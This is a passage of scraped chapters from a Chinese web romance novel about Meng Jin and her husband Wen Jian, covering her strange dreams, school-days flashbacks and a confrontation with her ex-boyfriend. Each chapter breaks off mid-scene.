少年抬头看着走廊刺目的光,心理情绪翻涌,他感觉自己有些站不住,下意识扶着墙蹲到地上,下意识掏出口袋里的棉花糖咬一口,可是太甜了,甜的他眼泪都下来了,他不明白孟瑾为什么喜欢吃这个,因为真的……好甜啊。 之后,闻见也改了志愿,他不想再去大城市,他要留在安城,因为闻女士不愿离开,也因为这里有他与孟瑾的过往,那些再也回不去地,他们的青春岁月,点滴回忆。 …… 站在旁边的孟瑾等了半天没等到闻见按楼层,扭头看过去,好么,原来闻大教授正站在她旁边一眼不眨地发呆呢。 “……”她凉凉地侧目瞪着他,打算再等三秒,有些人要是再不说话,她就不伺候了。 “嗯……我帮你拿东西吧。”闻见晃了晃神,突然反应过来,看到对方冷冷的眼神不免有些心虚,说话嗓音都带着沙哑:“我刚走神了……不不好意思。” 说完,眼睛躲开了。 孟瑾微微仰头看他,看着看着,忽然笑了:“还没怎么样呢,闻大班长就学会冷暴力了这是?有什么话你说啊,你这样红着眼睛回去给阿姨看到,还以为我欺负你呢。” 她停了一秒,故意眨眼睛:“唔,还是说,闻大教授就是觉得我欺负你了?所以想回去告我一状?” 闻见摇头说没有。 他伸手接过她手里的东西,上前一步按楼层去了,声音轻轻的:“我刚刚真的走神了,因为想起来我爸的事情。” “啊,你爸爸?” “嗯,我爸是边境警察,在我们高中毕业那会,因为一次执行任务牺牲了。”闻见觉得俩人竟然结婚了,那他爸爸的事孟瑾就有权利知道,而且,他也不想瞒她什么。 孟瑾闻言一愣,完全没想到他会说这个,甚至有点反应不过来。 两人曾住在一个小区差不多两年,虽然不常接触,但邻近几家家里有几口人她还是知道的,孟瑾也是听对面的邻居阿姨说,闻见从小就没有爸爸,是闻女士一手带大的,甚至除了他妈妈那边的亲戚,闻见连爷爷奶奶都没有。 上学那会唐婉清还经常指着闻见骂她,说同样的单亲家庭,同样的高中生,人家还是男孩子,怎么就那么会心疼人?类似种种孟瑾几乎天天都能收获一堆,刚开始她只是觉得唐婉清烦,后来干脆连被她拿来作比较的闻见也一起觉得烦。 所以当时在学校孟瑾才会那么不待见他,甚至故意针对他。 孟瑾眨眨眼睛,觉得自己应该学着“正常人”的社交模式,说两句好听的话安慰下他,也为自己之前的鲁莽行为道个歉。 可她打小就不会安慰人,更不会说什么让人高兴的话,孟瑾低头抿唇憋了半天,才干巴巴憋出一句很不走心的:“班长,你要是很难过就哭一下吧,我不会跟别人说的,我保证!” 像是怕他不信,她说完又强调一遍:“真的,你相信我!” 闻见:“……” 闻大才子闻言没忍住回头看她一眼,不知道自己在她心里竟然是个“小哭包”形象。 “呃……那什么,我其实没打算哭的。”闻见低睫看着她亮亮的,有点小心翼翼看过来的眼眸,忍不住笑了笑,又弱弱地澄清。 恰好电梯门“叮”一声弹开,冷风顺着灌进来,让他有些睁不开眼,闻见侧头一躲,垂眸对上她直直的目光,那么清澈,那么漂亮—— 忽然又想起来昨晚她说,大一就喜欢宋天宇的事,他鼻头酸了酸,眼睛一下又红了…… 孟瑾见状,说:“啊,是吗?那你现在这是?” 她是故意在逗他。 闻见也知道她是故意在逗他。 “我被你感动的。我真没哭。”闻见看着她笑。 孟瑾说:“哦,那你还挺容易满足的,这就感动了。” 闻见:“不是容易满足,是你太厉害,哄我连棉花糖都不用买。” 孟瑾被他逗乐了,弯着眼睛笑出声来:“哦,是吗。” 闻见也笑了,顺便拿钥匙开门:“先进去吧,外面太冷了。” 孟瑾从他手里接 13. 第 13 章 《白月光回国,求婚闻教授?》全本免费阅读 雷电四起,大雾漫天。 不过眨眼的功夫,黄豆大的雨点已经噼里啪啦砸下来,雨声又快又急,乌云密布在头顶,东边还有一弯月亮孤零零挂着! 这景象……实在太诡异了! 苏婉瑜警惕地捏了捏手里的帕子,她想知道对面的人是不是她要找的人,然而她心中所念之事,却是万不能让第三人知晓的! 她垂眸瞧着脚下坑洼不平的泥土水渍,身上的衣裙早已被雨水打湿,“父亲,兄长,望你们在天之灵保佑婉瑜,我不会让你们失望的!终有一天会真相大白,我苏家定可沉冤昭雪!” 苏婉瑜在心里打定了主意,而后抬头挺胸,一步步朝孟瑾走过去,她看着她黑亮的眸子,微微倾身行了一礼,道:“敢问姑娘是从何处来的?” 孟瑾不受控后退几步,靠上一颗竹身,她皱眉尽量调整着呼吸,喉尖的窒息感依旧很强烈,她试着张了好几次的嘴,还是发不出一点声音,她看着眼前越走越近的青衣女子,恍惚间,竟仿佛听到了她的声音! 可对方究竟说了什么,或者想表达什么,她却是一点也不明白。 苏婉瑜瞧着她很不舒服的样子,也不知对方是否听见了自己的话,她心里着急,也顾不上平日里那些家规礼法,便直接伸手在她面前晃了晃,急声道:“姑娘,姑娘你没事吧?” …… “孟瑾!孟瑾你怎么了?” 两方声音交替拔河,似要将她摇摇欲坠的耳膜撕裂,吵得孟瑾想眼睛一闭原地蒸发,而努力将脑袋往枕头里埋。 后者不依不饶,扶着她的肩膀狠狠一晃,带“雷雨”伴“闪电”势要将她蒸发一半的三魂七魄硬生生拽回来:“孟瑾,孟瑾你怎么样了?你快醒醒。” 这一声差些把房顶掀下来,孟瑾恍惚的意识在刹那掉回脑袋,抬手一摸一把“雨水”,浑身都被浸湿了,她有气无力哼唧了两声,下一秒,猛然睁开眼。 “你……你到底是谁?”她先是张着嘴大口喘吸,眼里才慢慢有了焦距——看清了眼前闻见的脸。 对方比她还懵,见她醒来,忙低声试着问:“孟瑾,你怎么了?你是不是生病了?怎么一下出了这么多汗?” 闻见说着想起什么,拿起床头柜上的毛巾帮她擦了擦额头上的汗珠儿。 “你怎么样,回神了吗?” 他捏着毛巾的手还没有拿开,眼睛看着她的眼睛问。 孟瑾轻点一下头,哑声说:“我刚做梦了,已经没事了。” 闻见点头,手还是没有拿开。 ”还是之前那个梦么,这些天一直睡不安稳是不是。”借着床头的微光,他看着女孩苍白如纸的脸,心里万千情绪翻涌,嘴上却只淡淡一问。 孟瑾看着他眨了眨眼睛,却没打算说什么话。 不过闻见似乎也不在意她说不说。 他又换了一条毛巾帮她擦汗。 孟瑾终于缓过劲来,大脑开始慢慢运作,他怎么会在这个房间,难道她方才做梦还说梦话了? “起来喝点水吧。”闻见又说。 房间里没有开灯,只开了床头柜上一盏小夜灯,周遭有些昏暗,显得他的五官轮廓都有点朦胧。 不知出于什么原因。 闻见的声音低低沉沉的,还有一点沙哑,在这安静的夜里显得分外清晰,孟瑾眨了眨眼睛,莫名想起了上学那会的闻见。 记得那是个下着大雪的冬夜,具体什么日子她忘了,只记得那天街上张灯结彩很热闹,炮竹声声在耳朵边炸个没完,孟瑾不知道自己出去买什么的,可是她出去的太晚,没有买到。 孟瑾没别的地方可去,也不想回去听唐婉清骂人,就在小区外边找了个椅子坐着。 没过一会,闻见也过来了,但他不是从外面回来的,他是从小区里出来的。 少年大步跑过来站在她面前,他声音低低沉沉的,也像现在这样有一点沙哑。 “孟瑾,新年快乐。”他蹲在她面前,很认真地说。 唔!她想起来了,原来那天是农历新年。 孟瑾回神想坐起来,但身子还是软得一塌糊涂,半点力气没有,她从被窝里抽出手,伸过去说:“班长,拉我一把。” 闻见抬眸看她,眼睛亮亮的。伸手握住她手腕的一瞬,两人竟不约而同的,心脏重重一跳。 孟瑾脑回路瞬间清晰,她笑了一下,抽回自己的手,没再抬头与他对视。 闻见也收回眼,没有立刻说话,而是去厨房倒了杯蜂蜜水过来。 他伸手递过去说:“想喝茶还是蜂蜜水?” 孟瑾抬眼看过去,笑着反问:“班长不是已经替我做决定了?” “我再去泡一杯。”闻见说。 “唔,茶很难喝,我要喝甜的。”孟瑾说。 闻见轻轻笑了一声,把水杯放进她手里:“是,苦的都难喝,蜂蜜水好喝。” 这回闻见看到眼前姑娘笑得很开心。 “有劳班长大驾,那麻烦再开个灯?”孟瑾笑:“谢谢,真心话。” ?合着以前说的都是在敷衍他。 孟瑾握紧手里的玻璃杯,双层保温质地的,握在手里暖暖的,很舒服。 她拿起杯子慢慢喝着水,水温不是很烫,但她喝得很慢。 脑袋里也空空的,没有在想什么。 闻见走过去开了灯,拉过她化妆镜前的椅子坐下。随着孟瑾轻轻将手里的水杯放到床头柜上,周遭就只剩两人浅浅的呼吸声。 屋子里一下变得很安静。 是那种有点尴尬的安静。 “我说梦话吵到你了么?”孟瑾主动开口问。 说完,转身将身后枕头立起来,轻轻闭上眼睛,找了个舒服的姿势靠着床头养神。 正低头发呆的闻见闻言抬头看去,他清了清嗓子,低声说:“不是,是我在客厅喝酒,听到你房间有动静,然后你又没锁门,就进来看看。” 喝酒? 孟瑾似是没反应过来,她惊讶地瞪了瞪眼睛,人也坐起来了:“班长还会喝酒么?” 印象里,闻见一直都是听话懂事,学习好,是老师、家长,甚至陌生人见了都会夸一句的好孩子。 孟瑾从来不知道,他竟然也会喝酒。< 14. 第 14 章 《白月光回国,求婚闻教授?》全本免费阅读 凌晨两点半。 夜色正浓,窗外的小雪还飘着。 孟瑾说完停了一会儿,亮亮的丹凤眼微微垂着,没有与他对视。 她的脑袋里恍恍惚惚想了很多事,梦里的那些奇异景象,身体的应激反应,还有闻见,他怎么每次都能在她做梦的时候恰好出现喊醒她,让她不至于在无意识的情况下被梦境吞噬。 更让孟瑾觉得匪夷所思的,还是梦里的那位青衣女子,一般人做梦就算看不清对方的脸,也至少能听懂她在说什么,或者醒来时,自己就会把梦里的事忘个七七八八,基本想不起来。 而她明明觉着,自己什么都记得,甚至有一种被穿越的,身临其境的感觉。 但就是听不懂对方想表达什么,或者是在暗是她什么——可是……到底是什么呢? 啊对!她想起来了,她差点忘掉一个重要细节,自己应当是从搬进闻见家开始做梦的,换句话说,也就是如果不是她自己脑神经衰弱出现了幻觉,那么这个事情一定跟闻见有关,或者是某种更神秘的牵扯。 以至于……连他本人都不知道。 “嗯,你不是说你知道是什么原因了?”闻见见她一直低着头不说话,又忍不住问了一遍。 孟瑾这才回神,她蓦地抬头看着他,说话声音慢吞吞的,像在回忆,又像在思考:“班长,你听过梦境空间转换吗?” “那是什么?”闻见闻言一头雾水,在脑子里飞速搜索一遍,也没想到任何相关概论,他抬头无奈一笑,实话道:“我好像从来没听过。是梦境与平行空间论么?你在哪听的?” 梦境与平行空间。 察觉到他话里的严谨,孟瑾表情微微一正,也认真下来说:“不是平行空间论……是利用梦境与别的时空交流,就像神话故事里闭关的神仙可以灵魂出窍去到别的空间,而她的本体却一直在那不会离开一样。” “但是首先来讲,”闻见欲言又止,用了个比较委婉的说法:“梦境的由来,科学家们直至如今也还是各持己见,没有绝对的定论,至于你说的梦境空间转换,这个概念就更没有人提过了。” “当然,不提也不代表是不存在的,”注意到她一脸平静看过来,表情像在听数学课一样提不起兴趣,闻大教授又默默推翻了自己一贯地“书本论”,搜肠刮肚找补道:“只是……因为我没有学过这方面的相关知识,所以不太了解……” 不了解?闻大教授也会有不了解的东西么,又不是在讲台上做报告,他这人未免也太认真了吧。 孟瑾想着弯眼一笑,忽然觉得他还跟高中那会儿差不多,做什么都认认真真,一丝不苟的,唔,好像有点好玩哎! 索性左右也睡不着,不如逗他两句解解闷。 她无意识把玩着自己手上的素银戒指,抬头笑了笑,说:“啊,班长不了解吗?那我明天问问我前男友吧,他应该多少知道点。等我问完跟你说哈。” 不知道是不是喝了酒的缘故,闻见今晚似乎干什么都慢腾腾的,他闻言,慢悠悠歪头看过来,眼睛里带着一点笑,情绪却看不分明。 “你骗我。”他说。 孟瑾:“我没骗你啊,我骗你什么了?” “宋天宇他……”闻见迟疑了一下,说:“他一个野鸡大学出来的,他知道什么……” 什么? 孟瑾差些没反应过来,她微微停了手上的动作:“你怎么知道的?” 难道闻见之前打听过她的事? 否则他怎么知道宋天宇上的什么大学,昨晚在便利店,他也是脱口就说出了宋天宇的名字。 孟瑾当时还没意识到什么,现在又蓦地听见这么一句,她才后知后觉,明白了什么。 就仿佛……仿佛这些年他一直在“暗中关注她”一样。 闻见顿了一下,眼睛垂下了:“我猜的。” 似乎他也察觉到自己这理由太牵强,闻见想了想,又说:“我有个朋友刚好认识他,偶尔闲了会说两句。有时……有时也会聊到你。” 孟瑾半晌“嗯”了一声。 她侧头看着窗外洋洋洒洒往下坠的雪,雪越下越大,楼下一棵小松树都快被压弯了。好一会儿,她问:“都聊我什么?” “说你很喜欢旅行,喜欢拍照,爱吃棉花糖,讨厌下雨,还说……咳咳咳咳咳不、不好意思,我好像喝醉了。”不知怎的,他突然轰天黑地一阵呛咳,说不下去了。 孟瑾张嘴想说什么,须臾,还是摇头说了句没事。 闻见侧头调整着呼吸,手指无意识紧握成拳,很快,指关节就从冲血的颜色变成不自然的白。 有那么一瞬间,孟瑾突然觉得自己有些喘不过气来,胸口很闷,喉咙也紧得厉害。 她也不知道为什么,或许是屋里空调开得太足了。 两人沉默着待了好一会,孟瑾本想说让他先回房间休息。 话没出口,闻见就一声不吭开门出去了。 孟瑾垂眸眨了眨眼睛,片刻抬手一抹,抹了一手的湿。 她以为闻见回去睡觉了,可是没一会他又回来了,闻见怀里抱着一套折叠整齐的单人被褥。他站在门口敲了敲,问:“孟瑾,我能在你房间打地铺吗?” 随即又想起什么,连忙解释道:“我酒已经醒了,不会……不会……” 哈! 孟瑾被他一本正经的模样逗得大笑出声。 她红着眼睛抬头看去,说话嗓音略哑,还带着鼻音:“班长请进,班长放心,我知道你不会酒后乱性对我做什么的。” 毕竟早就变成怀念了,不是么? 她的眼眸里含着水光。 她的言行举止全都坦坦荡荡。 她果然从来未曾对他心动过,果然一点 15. 第 15 章 《白月光回国,求婚闻教授?》全本免费阅读 意料之中的,孟瑾没有搭理他的话:两人认识在七年前,那时她20岁,大二,是班里少有的华人学生,因为外语不好,又常出去做工赚学费,所以校内校外认识她的人不少,欺负她的人更多。 而作为她当时的男朋友宋天宇,更是没有为她出过一次头,甚至很多时候,他都是一副高高在上的上位者嘴脸,与那些人一起出言讽刺,开她的各种“玩笑”。 开始,孟瑾还会有点在乎,会跟他心平气和讲道理,可是对方还是我行我素,完全get不到她的点,心情好了就哄她两句,反正说了什么也不算数,下回还是照犯不误。 跟福袋吃多了豆干放的狗屁一样,除了污染环境没别的。 宋天宇见她自顾自去了旁边,没有要跟自己聊天的意思,便随手拿了个工作台上的小手电,在手里转着玩:“小瑾,我今天来找你是有正事的。” “我这人呢,你也知道,就是我妈说的,重感情,嘴不好,什么时候惹你生气了,我自己都不知道,“他说着,啪一声开了手电,话锋一转又道:“但是话又说回来,你也不能因为生气,就胡乱污蔑人吧。” ”……?” “哎呀,小瑾你别这样不理人好不好?我知道你听见了,你快坐嘛,我真有话跟你说呢。” 孟瑾抽空抬头看他一眼,有时候她听他说话,就真挺想报警的。 “有话直接说。”她随手拿了一副有点褪色的山水画轻轻摊开,平铺到桌上,语气淡淡的:“还有,麻烦把我椅子让开,谢谢。” 这回宋天宇倒不急着说话了,他兀自很绅士地颔首站起来,把屁股底下的椅子拉出一点,点头示意孟瑾坐,又拿起桌上的咖啡壶给她倒了一杯看着就苦的冰美式。 孟瑾转身坐到椅子上,眼睛没看他,只是微微皱着眉提醒,“咖啡放到工作台上,这么多东西要是弄脏,宋总要收到的法院传票可能有点厚。” 也不知道是不是耳朵长毛,听不进人说话,都跟他说多少次了,自己的工作台上不要放东西,她也不喜欢喝苦咖啡,不喜欢任何苦的东西,现在还要故意给她倒那么苦的一杯咖啡,以为她被他气得失去味觉了吗? 宋天宇闻言弯眼一笑,又抬脚勾了张旁边的椅子坐下,一只手支着下巴悠哉悠哉说:“瞧你说的哪里话?你的东西不就是我的嘛,我自然会小心不会弄脏的,要是万一弄脏了,也没关系,你直接跟他们说让来找我就是了。” “但是现在有另外一件事跟你说——哎,给个眼神好不好,搞得我很上赶着似的,你别忘了,是你跟别人结婚在先的,要说错也是你的错,你怎么每次见到我还这个态度啊?” “唔,是啊,你也知道我跟别人结婚了,那你干嘛还老缠着我不放呢?”孟瑾实在听得烦,懒得多说,便直接抬头道:“还有,有话麻烦快点说,我老公一会还要接我去吃午饭,没时间跟你在这儿耗。” 宋天宇:”……” 一听孟瑾嘴里说“老公”这词,他的脸登时黑了又绿,嘴角也不自觉抽了两下,脑子里又想起来:早上他家老爷子听说孟瑾跟别人结婚,打国际长途劈头盖脸骂了他半个多钟头的事,还说什么,三个月之内他要是不把孟瑾找回去,他自己也不用回去了。 宋天宇咬牙切齿在酒店的大床上想了半天才想起来,前天砸的王老板的那个碗,这才找到借口来这儿跟她讲条件。 “哎不是……你整天说说说,说你那个书呆子老公有什么用啊?他有钱有人脉帮你摆平你前天砸的王老板那只碗吗?”宋天宇越想越气,忍了半天还是气不过,干脆破罐子破摔很声道:“好,退一万步说,就算你们求爷爷告奶奶能把这事儿摆平,你以为我会这么轻易放过你吗?” 王老板的碗不是他自己摔的吗? 怎么现在又推到她身上来了? 孟瑾看着桌上咖啡杯里黑沉的冰美式,心里闪过什么,面上不显,干着手里的活等着他继续说。 “孟瑾,我想你应该记得,2008年金融危机时,你们黄家欠了银行多少钱,那可是整整八家国际银行的黑名单啊,”宋天宇看着她冷笑一声,又道:“不说无底洞,那也是岌岌可危了吧,要不是我,我爸跑前跑后的 16. 第 16 章 《白月光回国,求婚闻教授?》全本免费阅读 门外车水马龙,迎来送往很是热闹。 初冬的正午太阳透过工作室门窗玻璃,直直的照在孟瑾面前的桌面上,因着,上头微微褪色的山水画都被镀上一层淡金色的光,仿佛焕发了新生一样。 她的左手还被宋天宇紧紧地捏在手里,半分力气都使不上,对方的呼吸声越靠越近,脸也直接贴过来,唾沫星子到处乱溅……千钧一发之际,孟瑾只来得及下意识蓦地仰头躲开—— 搭在肩上的长发随着她轻快的举动在宋天宇眼前一晃,他凑过去的时候位置刚好偏了半分,亲到了孟瑾的下巴。 孟瑾上身紧贴椅背,呼吸急促,仰起的颈脖婀娜性感、白皙胜雪,随着她略快的呼吸一下一下扣弄他的心弦。 她大脑飞速运转,短短刹那,右手已经摸到了工作台上那把锋利异常平时用来开木盒的小刀,她仰着头,并看不到自己与他的具体位置,只能凭感觉在宋天宇抬头又扑来的瞬间,手起刀落,在自己的手腕和他的手指上狠狠划下一刀。 “操!你他m的疯了吗?”宋天宇皱着眉吃痛地吼了一声,死死抓着孟瑾手腕的手总算松开了。 孟瑾也疼得呲了一声,脚蹬地板,推着转椅往后一退,她脸上卸下一口气,心里仍旧警觉防备,抬眸说道:“疯的是你,我只是□□,如果你还来,刀子不会再落到你手上。” “怎么,听你这儿意思,难道还想杀了我不成?” 宋天宇闻言,抬头看来,语气轻飘:“就凭你?哈,哈哈,小瑾,你在这儿跟我搞笑呢?” 话音未落,旁边的玻璃门突然被人从外推开。 闻见冷着脸推门进来,他一手扶着门把,静静站在门口。 孟瑾听到动静抬头,他也恰好看过来,两人目光直直撞上,闻见脸上没有表情,眼里却有万千情绪翻涌,复杂的让人捉摸不透。 不知是不是被眼前的场景惊到了,他愣在原地,两秒,才蓦地大步跨过来。 伸手一把拉过孟瑾划开口子的手腕,手腕还在流血,一滴一滴顺着他的手指流到地上:“这……这是怎么了?” 闻见说着,轻轻蹲到她面前,他没再抬头看孟瑾,忍着心里翻江倒海的痛,一边迅速扯下脖子里的领带帮她把伤口裹上,一边低着头咕噜咕噜滚了几下喉结,才缓过劲儿哑声说:“小瑾,走,咱们去医院,我扶你去医院……” 他抓着她手腕的手还在微微颤抖,他从方才进来就一直在颤抖,很轻很轻的,像是在极力克制。 但孟瑾感觉到了。 孟瑾觉得他要是个姑娘,估计这会已经哭出来了。 这么想着,她便真这么问了。 “班长,我记得你不晕血啊,怎么还哭了呢?”孟瑾语气听上去很轻松,她玩笑似的跟他说:“而且这就是一点小伤,没事儿的,一点都不疼。” 闻见终于抬头看来,他看着她,眼睛红红的,说:“我没哭……” 说完一句,扭头看向旁边的宋天宇,冷声问道:“你对我老婆做什么了?” 宋天宇看着俩人刚刚你一言我一语的模样,心里早就气得火冒三丈了,他伸手扯了几张纸巾按到自己流血的手上,眼皮也不掀地不答反问:“男人跟女人能做的不就那点事吗?怎么,你那么纯情,没跟别的女人做过?” “不过呢,”他说着,话音一转,抬头轻蔑地扫了对方一眼,哂笑道:“倒也不能怪你,毕竟像你这样的,能娶到老婆已经是老天爷眷顾了,自然不会懂正常男人的快乐。” “……” 孟瑾无语的朝天翻了个白眼,知道闻见不会跟他这种无赖多说什么,便先一步开口道:“麻烦这位宋大总裁您……说话之前嘴巴里能不能安个过滤器,别什么污言秽语都往外冒?” 话落,扶着闻见的胳膊站起来,准备要走,却听身后人扑哧一声轻笑,他说:“做了就是做了,小瑾,你在这胡搅蛮缠有什么用?再说,你跟我在一起那么多年,就算你这会儿说出花儿来,咬死不承认,人家也是有智商的吧?” “宋天宇,”闻见回头看去,语气很轻,说出的话却一字一句很认真:“你有什么不满的尽管冲我来,从现在开始你再动我老婆孟瑾一下,哪怕一根汗毛,我都不会做事不理。” “不信,就试试。” 说完,没再停留。 一手揽着孟瑾的肩膀,一手扶着她的胳膊出了工作室。 外面到底是冬天,虽然正午太阳很好,但出门的瞬间,冷风还是猛地吹过来,结结实实糊了两人一脸的冰碴子。 身后宋天宇像是彻底破防了,他脸红脖子粗地冲着俩人离开的方向大吼:“你个破教书的,就你也配叫她老婆么,你能给她下半辈子衣食无忧阔太太的生活吗?!别做梦了,你什么都做不了,什么都给不了她……我告诉你,我不会这么轻易认输的,孟瑾她是我的,一辈子都是我一个人的!” …… 周围过路的人很多,他们说说笑笑的,脸上都挂着明朗的笑。 耳边呼呼啦啦风刮的很大,很吵。 孟瑾没有听得很清楚他说了什么,索性,她也根本不想听。 孟瑾无意识偏头躲了下迎面扑来的冷风,一下转过去,脑门刚好撞到闻见硬邦邦,暖哄哄的胸口,女孩眨了眨眼睛,没有立刻挪开,鼻尖萦绕着他身上淡淡的桂花香气。 闻见脚步一顿,他低头看去,撞进眼眸的是怀里姑娘亮晶晶的同仁。 他以为孟瑾会哭,结果她抬头看来,眼里一片清明。 “班长,我不想去医院。”她说。 闻见紧了紧揽着她肩膀的手,点头:“好,那咱们回家。” 孟瑾瘪了瘪嘴,实话说:“可是我的胳膊还有一点疼。” “那我们去找闻女士吧,她是超级厉害的外科医生,给她一看就不疼了。”闻见鼻头一酸,声音有点哑:“我小时候调皮受伤,不想去医院,都是去找闻女士的。” 孟瑾盯着他看了几秒, 17. 第 17 章 《白月光回国,求婚闻教授?》全本免费阅读 孟瑾没有说什么,她沉默着走出了王斌的办公室。 啪一声,门关上,隔绝了他身后刺目的光。 走廊里稀稀拉拉几个人,闻见不在,不知道去干什么了。 孟瑾漫无目的往前走,她没有要等谁的习惯,也不想有谁被她牵绊。 从小到大,她一直都是一个人,小时候在南方,夏天多是雷雨交加的天气,山里雾气又重。 孟瑾当时是住校生,平时不回,只有每周周五下午才会回家一次,她每次回家都要走两三公里的山路,下午五点从学校出发,走回去已经夜里八九点了。 那时候,孟瑾是跟着外婆住在舅舅舅妈家的,舅舅家的房子在半山腰,位置很偏,周遭方圆十里只住了他们一家,院子外没有灯,只在门口拴了一只立耳狼狗。 孟瑾记得她上初三的那一年,有一次回家刚好赶上老天“作美”,全县下大暴雨,豆大的雨点儿砸在人身上又急又疼,像有人在天上往下扔冰雹似的。 那晚的路格外难走,孟瑾怀里抱着书包,脚上穿着十几块钱的那种帆布鞋,没走两步就湿透了,她一脚泥一脚水,深一下、浅一下艰难地往前走。 一路上她摔了很多次,怀里的书包也丢了很多次,刚开始,她是找了一块塑料把书包包起来的,可是脚下的路太难走了,天又黑,不知什么时候,孟瑾就把包着书包的塑料给丢了。 其实后来,她连书包都想一起丢了,但想到唐婉清知道后的结果,她最终还是把这计划推翻了——孟瑾抬头看着周遭黑云密布的天,风很大,雨也很大,不知是雨水进了眼睛,还是泪水藏进了雨滴,少女的脸颊很快就湿了一片。 到家已经是凌晨。 孟瑾抬手抹了一把脸上的雨水,远远地看到门口除了兴奋摇尾的大黑,还有穿着雨衣,打着手电四处看着等她的外婆。 “……” 孟瑾鼻头蓦地一酸,心里闪过什么,面上还是一惯的冷淡。她加快脚步跑过去,抬头跟外婆说:“进去吧,外面冷。” 外婆看见她浑身都湿透了,说话嗓音也变了调,一下就红了眼睛。 她一边点头应她的话:“好好好,快进去,一起进去。” 一边伸手接过孟瑾拎在手里湿透的书包,嘴里一遍遍念叨:“哎哟,小瑾呀,下这么大雨怎么还回来呢?你瞧瞧,这衣服也湿了,人也湿了……冷不冷啊?赶紧进去先洗个头,别感冒了。书包都淋成这样了,里头的书还能用吗?以后要是再下这么大的雨就别回来了,找个小卖部给你舅舅打电话,让他给你送钱去。” “要是雨太大去不了,第二天也就去了,记住没啊?” 孟瑾弯腰拿出床底下的洗脸盆,倒了些暖水瓶里的热水,洗着头哑声应:“我妈明天早上要打电话。” 这是唐婉清去了安城后一直保持的习惯,因为不确定孟瑾周五回来到几点,她第二天还要上班没时间一直等,就把每周五晚上要打的电话改到周六早上了。 如果孟瑾有什么事耽误了,没接到她的电话,那后果……外婆是知道的。 要么,直接把电话打去学校,当着孟瑾班主任的面,骂她”一个女孩子家不自爱,不要脸”之类的话。 要么就打来家里连外婆一起骂,说她为老不尊,孩子也不管,自己摊上她这样的妈,孟瑾以后早晚都得出事。 窗外的雨声噼里啪啦还是很大,不过因为有了屋子的遮挡,听起来恍恍惚惚的,没有那么真了。 外婆没有接她的话,她站在屋里一盏暖光下,周身都被镀了一层薄薄的光,看着很温柔,也很慈祥。 外婆转身从衣柜里找出孟瑾的干净衣服,衣服洗了晒了一遍,前两天趁着天气好,外婆又拿出去晒了一遍,所以摸上去一点都不潮,闻着还有一股暖烘烘的太阳味道。 外婆看她洗完头,把衣服递过去,笑眯眯地瞧她:“你妈就是嘴不好,心里可关心你啦,她就你这么一个女儿,不对你好还能对谁好呀,你说是不是?” 孟瑾配合着点头,伸手接过外婆手里的衣服,转过身边换边说:“外婆,你先睡吧,已经很晚了。” “哎呀,我不睡,等你后天去了学校我有的是睡觉的时间,”外婆说:“我的小乖好不容易回来一次,我还要捏捏你的脸,摸摸你的头,看看我的小乖长高了没有呢!” 那时候,十六七岁的孟瑾心里最喜欢的就是外婆了,外婆从小就很疼她,她在外婆面前性格也没那么冷淡梳理,加上洗完头换了衣服,身上干爽,心情也好了。 她被外婆幽默的语言系统逗笑,又拿她没办法,只好笑着点点头,迅速穿好衣服,乖乖地把头和脸伸过去给她摸,“给你摸给你摸,摸完赶紧睡觉。” 说完,又想起什么,脑袋一歪蹭在外婆怀里,笑咪咪地问:“外婆,我又不是大黑,你怎么那么喜欢摸我呀?” 外婆轻轻拍着她的背,很认真地想了想,然后笑着说: 18. 第 18 章 《白月光回国,求婚闻教授?》全本免费阅读 话落,孟瑾一声不吭掐断通话,屋里重归寂静。 这下,连手机那头闻见略快的呼吸声都消失了。 她又抬手盖住了眼睛,脸上仍旧一片湿气,但这次……孟瑾没管,只是安安静静任凭眼泪滑下脸颊。 脑子里再次闪过白天王斌说的那些话—— 闻见是因为她才学会喝酒的,他甚至还发酒疯、打人,就是为了要她的电话、她的q,她的联系方式。 这些事情,任何一样都不像她印象里那个温文尔雅、疏离冷淡,颇具书卷气的少年能做出来的。 她记得两人以前在校园里一起背书,在食堂一起吃饭,在小区外的长椅上一起坐着发呆,闻见最爱说的一句话就是:“孟瑾,你要相信自己。” 孟瑾不知道他为什么有事没事就说这么一句,便抬头看着他,噗嗤笑一声,眸子里却不见笑意:“唔,信什么,信我下次考试能考个全校第一,把闻大班长比下去么?” 农历九月,秋风将至。 午后的校园静谧美好,斑驳的阳光透过头顶隐隐绰绰的梧桐叶儿,照着少女白皙胜雪的侧脸轮廓,她的眼睛干净明亮,睫毛长而翘,五官精致立体、自带冷感,右眼下眼颧骨往上的位置,还有一颗小米粒大小的浅褐色泪痣,看着很漂亮。 少年在刹那愣了神。 他眼睛一眨不眨看着她,不知多久,直到好一会孟瑾觉出不对来,拿起自己手里的语文书在他眼睛跟前晃了两下,说:“闻大班长,你发什么呆呢?” “啊,没、没什么……”闻见胡乱答应两声,把眼挪开了:“那个,你刚刚说什么了?” ?孟瑾:“……” 不是,大哥,刚刚是您自己起的话头吧,这还没过两分钟怎么就不记得了? “我说你长得还挺漂亮的,跟个姑娘一样,”女孩看着他微微发红的耳尖,故意以读乱回:“说个话都能脸红,我真怀疑,咱俩在阎王殿投胎的时候是不是把性别报错了。” “……”闻见被她说的脸颊连同脖颈都红了,他不好意思地抬手干咳两声,生硬地扯开话题,道:“那、那什么……应该快上课了,我们回班吧。” 少女闻言悠哉悠哉往身后梧桐树上一靠,她看着他 ,漂亮的丹凤眼微微挑起,话说得格外悠闲:“我、不、要。” 接着,眼眸一转,又想起什么,半真半假地邀请:“班长,你看今天天气多好啊,不如咱俩去爬山呗?” “可、可是马上就上课了,要不然我们下午再去吧?” 闻见不明白她怎么突然想起来要去爬山,但还是很认真的回答了。 孟瑾:“哦,你确定不去吗?你不去我可自己去了。” “嗯……你等我一下,我我去请个假。”闻见不知怎么,突然又改了主意。 恰在此时,踩着12厘米恨天高的班主任“雪花”回班上课,正好路过两人,她一手举着手机打电话,一边笑着朝闻见招招手,刚要张嘴说话。 旁边的孟瑾就抢先一步举手,道:“老师,我有事跟您反映。” 闻见:“?” 前面的雪花比他还吃惊,因为在她的印象里,孟瑾就没跟她主动说过一回话——今天的太阳难不成打西边出来了? 她狐疑地推了推鼻梁上秀气的黑框眼镜,煞有介事地点头:“有什么话一会儿下课来办公室说吧。” “哦,可是班长刚刚约我去爬山哎,下课我们应该赶不回来,”少女狡黠地转了转眸子,而后悠哉悠哉抽身道:“不然我改天再跟您说吧。” 意料之内的,雪花没再管她,她蓦地侧头看着闻见,问:“你准备逃课去爬山?” 闻见低着头不知可否地捏了捏手里的书,半天没说出解释的话,但也没在老师面前把她卖了。 雪花临走又瞪了他一眼,气得脸都黑了,高跟鞋在楼梯拐角踩得“咔咔”地响。 